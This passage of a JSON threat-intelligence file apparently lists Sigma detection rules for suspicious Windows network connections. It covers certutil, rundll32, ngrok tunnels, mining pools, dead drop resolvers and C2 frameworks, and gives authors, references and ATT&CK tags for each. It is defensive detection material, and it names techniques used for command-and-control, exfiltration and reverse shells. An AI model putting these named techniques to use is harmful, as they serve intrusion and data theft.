          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_certutil_initiated_connection.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0dba975d-a193-4ed1-a067-424df57570d1",
      "value": "Connection Initiated Via Certutil.EXE"
    },
    {
      "description": "Detects network connections made by the Add-In deployment cache updating utility (AddInutil.exe), which could indicate command and control communication.",
      "meta": {
        "author": "Michael McKinley (@McKinleyMike), Tony Latteri (@TheLatteri)",
        "creation_date": "2023/09/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_addinutil.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_addinutil.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5205613d-2a63-4412-a895-3a2458b587b3",
      "value": "Network Connection Initiated By AddinUtil.EXE"
    },
    {
      "description": "Detects a Python process initiating a network connection. While this often relates to package installation, it can also indicate a potential malicious script communicating with a C&C server.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/10",
        "falsepositive": [
          "Legitimate python script"
        ],
        "filename": "net_connection_win_python.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python",
          "https://pypi.org/project/scapy/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_python.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1046"
        ]
      },
      "related": [
        {
          "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bef0bc5a-b9ae-425d-85c6-7b2d705980c6",
      "value": "Python Initiated Connection"
    },
    {
      "description": "Detects suspicious network connection by Notepad",
      "meta": {
        "author": "EagleEye Team",
        "creation_date": "2020/05/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_notepad_network_connection.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://blog.cobaltstrike.com/2013/08/08/why-is-notepad-exe-connecting-to-the-internet/",
          "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notepad_network_connection.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e81528db-fc02-45e8-8e98-4e84aba1f10b",
      "value": "Notepad Making Network Connection"
    },
    {
      "description": "Detects office suit applications communicating to target systems on uncommon ports",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/07/12",
        "falsepositive": [
          "Other ports can be used, apply additional filters accordingly"
        ],
        "filename": "net_connection_win_office_susp_ports.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_office_susp_ports.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.command_and_control"
        ]
      },
      "uuid": "3b5ba899-9842-4bc2-acc2-12308498bf42",
      "value": "Suspicious Office Outbound Connections"
    },
    {
      "description": "Detects a \"winlogon.exe\" process that initiate network communications with public IP addresses",
      "meta": {
        "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io",
        "creation_date": "2023/04/28",
        "falsepositive": [
          "Communication to other corporate systems that use IP addresses from public address spaces"
        ],
        "filename": "net_connection_win_winlogon_net_connections.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_winlogon_net_connections.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.command_and_control",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7610a4ea-c06d-495f-a2ac-0a696abcfd3b",
      "value": "Outbound Network Connection To Public IP Via Winlogon"
    },
    {
      "description": "Detects an executable, which is not an internet browser, making DNS request to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks.",
      "meta": {
        "author": "Sorina Ionescu, X__Junior (Nextron Systems)",
        "creation_date": "2022/08/17",
        "falsepositive": [
          "One might need to exclude other internet browsers found in it's network or other applications like ones mentioned above from Microsoft Defender."
        ],
        "filename": "net_connection_win_dead_drop_resolvers.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html",
          "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/",
          "https://content.fireeye.com/apt-41/rpt-apt41",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dead_drop_resolvers.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1102",
          "attack.t1102.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "297ae038-edc2-4b2e-bb3e-7c5fc94dd5c7",
      "value": "Potential Dead Drop Resolvers"
    },
    {
      "description": "Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.",
      "meta": {
        "author": "frack113, Florian Roth",
        "creation_date": "2022/08/28",
        "falsepositive": [
          "Legitimate scripts"
        ],
        "filename": "net_connection_win_script_wan.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script_wan.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "992a6cae-db6a-43c8-9cec-76d7195c96fc",
      "value": "Script Initiated Connection to Non-Local Network"
    },
    {
      "description": "Detects suspicious network connections made by a well-known Windows binary run with no command line parameters",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/07/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_susp_binary_no_cmdline.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/raspberry-robin/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_binary_no_cmdline.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "20384606-a124-4fec-acbb-8bd373728613",
      "value": "Suspicious Network Connection Binary No CommandLine"
    },
    {
      "description": "Detects network connections made by the \"hh.exe\" process, which could indicate the execution/download of remotely hosted .chm files",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_hh.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md",
          "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_hh.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "468a8cea-2920-4909-a593-0cbe1d96674a",
      "value": "HH.EXE Network Connections"
    },
    {
      "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making network connections.\nOne could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.\n",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_wuauclt_network_connection.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://dtm.uk/wuauclt/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wuauclt_network_connection.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c649a6c7-cd8c-4a78-9c04-000fc76df954",
      "value": "Potentially Suspicious Wuauclt Network Connection"
    },
    {
      "description": "Detects a rundll32 that communicates with public IP addresses",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/11/04",
        "falsepositive": [
          "Communication to other corporate systems that use IP addresses from public address spaces"
        ],
        "filename": "net_connection_win_rundll32_net_connections.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6?environmentId=100",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cdc8da7d-c303-42f8-b08c-b4ab47230263",
      "value": "Rundll32 Internet Connection"
    },
    {
      "description": "Detects network connections initiated by Regsvr32.exe",
      "meta": {
        "author": "Dmitriy Lifanov, oscd.community",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_regsvr32_network_activity.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/",
          "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1559.001",
          "attack.defense_evasion",
          "attack.t1218.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c7e91a02-d771-4a6d-a700-42587e0b1095",
      "value": "Network Connection Initiated By Regsvr32.EXE"
    },
    {
      "description": "Detects remote PowerShell connections by monitoring network outbound connections to ports 5985 or 5986 from a non-network service account.",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/09/12",
        "falsepositive": [
          "Legitimate usage of remote PowerShell, e.g. remote administration and monitoring.",
          "Network Service user name of a not-covered localization"
        ],
        "filename": "net_connection_win_remote_powershell_session_network.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_remote_powershell_session_network.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.lateral_movement",
          "attack.t1021.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c539afac-c12a-46ed-b1bd-5a5567c9f045",
      "value": "Remote PowerShell Session (Network)"
    },
    {
      "description": "Detects suspicious connections from Microsoft Sync Center to non-private IPs.",
      "meta": {
        "author": "elhoim",
        "creation_date": "2022/04/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_susp_outbound_mobsync_connection.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/intelligence-insights-november-2021/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_mobsync_connection.yml"
        ],
        "tags": [
          "attack.t1055",
          "attack.t1218",
          "attack.execution",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9f2cc74d-78af-4eb2-bb64-9cd1d292b87b",
      "value": "Microsoft Sync Center Suspicious Network Connections"
    },
    {
      "description": "Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/04/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_rdp_to_http.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg",
          "https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_to_http.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1572",
          "attack.lateral_movement",
          "attack.t1021.001",
          "car.2013-07-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b1e5da3b-ca8e-4adf-915c-9921f3d85481",
      "value": "RDP to HTTP or HTTPS Target Ports"
    },
    {
      "description": "Detects an Excel process that opens suspicious network connections to non-private IP addresses, and attempts to cover CVE-2021-42292.\nYou will likely have to tune this rule for your organization, but it is certainly something you should look for and could have applications for malicious activity beyond CVE-2021-42292.\n",
      "meta": {
        "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0\", Tim Shelton",
        "creation_date": "2021/11/10",
        "falsepositive": [
          "You may have to tune certain domains out that Excel may call out to, such as microsoft or other business use case domains.",
          "Office documents commonly have templates that refer to external addresses, like sharepoint.ourcompany.com may have to be tuned.",
          "It is highly recommended to baseline your activity and tune out common business use cases."
        ],
        "filename": "net_connection_win_excel_outbound_network_connection.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://corelight.com/blog/detecting-cve-2021-42292",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_excel_outbound_network_connection.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1203"
        ]
      },
      "related": [
        {
          "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "75e33ce3-ae32-4dcc-9aa8-a2a3029d6f84",
      "value": "Excel Network Connections"
    },
    {
      "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/07",
        "falsepositive": [
          "Other SMTP tools"
        ],
        "filename": "net_connection_win_susp_outbound_smtp_connections.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://www.ietf.org/rfc/rfc2821.txt",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_smtp_connections.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9976fa64-2804-423c-8a5b-646ade840773",
      "value": "Suspicious Outbound SMTP Connections"
    },
    {
      "description": "Detects an executable in the Windows folder accessing suspicious domains",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2018/08/30",
        "falsepositive": [
          "Unknown",
          "@subTee in your network"
        ],
        "filename": "net_connection_win_binary_susp_com.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker",
          "https://twitter.com/M_haggis/status/1032799638213066752",
          "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1",
          "https://twitter.com/M_haggis/status/900741347035889665",
          "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_susp_com.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e0f8ab85-0ac9-423b-a73a-81b3c7b1aa97",
      "value": "Microsoft Binary Suspicious Communication Endpoint"
    },
    {
      "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/11/03",
        "falsepositive": [
          "Legitimate use of ngrok"
        ],
        "filename": "net_connection_win_ngrok_tunnel.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent",
          "https://twitter.com/hakluke/status/1587733971814977537/photo/1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_tunnel.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.command_and_control",
          "attack.t1567",
          "attack.t1568.002",
          "attack.t1572",
          "attack.t1090",
          "attack.t1102",
          "attack.s0508"
        ]
      },
      "related": [
        {
          "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1d08ac94-400d-4469-a82f-daee9a908849",
      "value": "Communication To Ngrok Tunneling Service"
    },
    {
      "description": "Detects programs that connect to typical malware back connect ports based on statistical analysis from two different sandbox system databases",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_malware_backconnect_ports.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_malware_backconnect_ports.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.command_and_control",
          "attack.t1571"
        ]
      },
      "related": [
        {
          "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4b89abaa-99fe-4232-afdd-8f9aa4d20382",
      "value": "Suspicious Typical Malware Back Connect Ports"
    },
    {
      "description": "Detects initiated network connections to crypto mining pools",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/10/26",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "net_connection_win_crypto_mining_pools.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/stamparm/maltrail/blob/3ea70459b9559134449423c0a7d8b965ac5c40ea/trails/static/suspicious/crypto_mining.txt",
          "https://www.poolwatch.io/coin/monero",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_crypto_mining_pools.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1496"
        ]
      },
      "related": [
        {
          "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fa5b1358-b040-4403-9868-15f7d9ab6329",
      "value": "Network Communication With Crypto Mining Pool"
    },
    {
      "description": "Detects a possible remote connections to Silenttrinity c2",
      "meta": {
        "author": "Kiran kumar s, oscd.community",
        "creation_date": "2020/10/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_silenttrinity_stager_msbuild_activity.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://www.blackhillsinfosec.com/my-first-joyride-with-silenttrinity/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_silenttrinity_stager_msbuild_activity.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1127.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "c92e3d68-2349-49e4-a341-7edca2deff96",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "50e54b8d-ad73-43f8-96a1-5191685b17a4",
      "value": "Silenttrinity Stager Msbuild Activity"
    },
    {
      "description": "Detects suspicious \"epmap\" connection to a remote computer via remote procedure call (RPC)",
      "meta": {
        "author": "frack113, Tim Shelton (fps)",
        "creation_date": "2022/07/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_susp_epmap.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/RiccardoAncarani/TaskShell/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_epmap.yml"
        ],
        "tags": [
          "attack.lateral_movement"
        ]
      },
      "uuid": "628d7a0b-7b84-4466-8552-e6138bc03b43",
      "value": "Suspicious Epmap Connection"
    },
    {
      "description": "Detects Non-Standard Tools Connecting to TCP port 3389 indicating possible lateral movement",
      "meta": {
        "author": "Markus Neis",
        "creation_date": "2019/05/15",
        "falsepositive": [
          "Third party RDP tools"
        ],
        "filename": "net_connection_win_rdp_outbound_over_non_standard_tools.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_outbound_over_non_standard_tools.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.001",
          "car.2013-07-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ed74fe75-7594-4b4b-ae38-e38e3fd2eb23",
      "value": "Outbound RDP Connections Over Non-Standard Tools"
    },
    {
      "description": "Detects a non-browser process interacting with the Google API which could indicate the use of a covert C2 such as Google Sheet C2 (GC2-sheet)",
      "meta": {
        "author": "Gavin Knapp",
        "creation_date": "2023/05/01",
        "falsepositive": [
          "Legitimate applications communicating with the \"googleapis.com\" endpoints that are not already in the exclusion list. This is environmental dependent and requires further testing and tuning."
        ],
        "filename": "net_connection_win_google_api_non_browser_access.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://services.google.com/fh/files/blogs/gcat_threathorizons_full_apr2023.pdf",
          "https://github.com/looCiprian/GC2-sheet",
          "https://youtu.be/n2dFlSaBBKo",
          "https://www.bleepingcomputer.com/news/security/hackers-abuse-google-command-and-control-red-team-tool-in-attacks/",
          "https://www.tanium.com/blog/apt41-deploys-google-gc2-for-attacks-cyber-threat-intelligence-roundup/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_google_api_non_browser_access.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1102"
        ]
      },
      "related": [
        {
          "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7e9cf7b6-e827-11ed-a05b-0242ac120003",
      "value": "Suspicious Non-Browser Network Communication With Google API"
    },
    {
      "description": "Detects network connections to Devtunnels domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.\n",
      "meta": {
        "author": "Kamran Saifullah",
        "creation_date": "2023/11/20",
        "falsepositive": [
          "Legitimate use of Devtunnels will also trigger this."
        ],
        "filename": "net_connection_win_devtunnel_connection.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://cydefops.com/devtunnels-unleashed",
          "https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/security",
          "https://blueteamops.medium.com/detecting-dev-tunnels-16f0994dc3e2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_devtunnel_connection.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1567.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "86a96bf6-cf8b-411c-aaeb-8959944d64f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
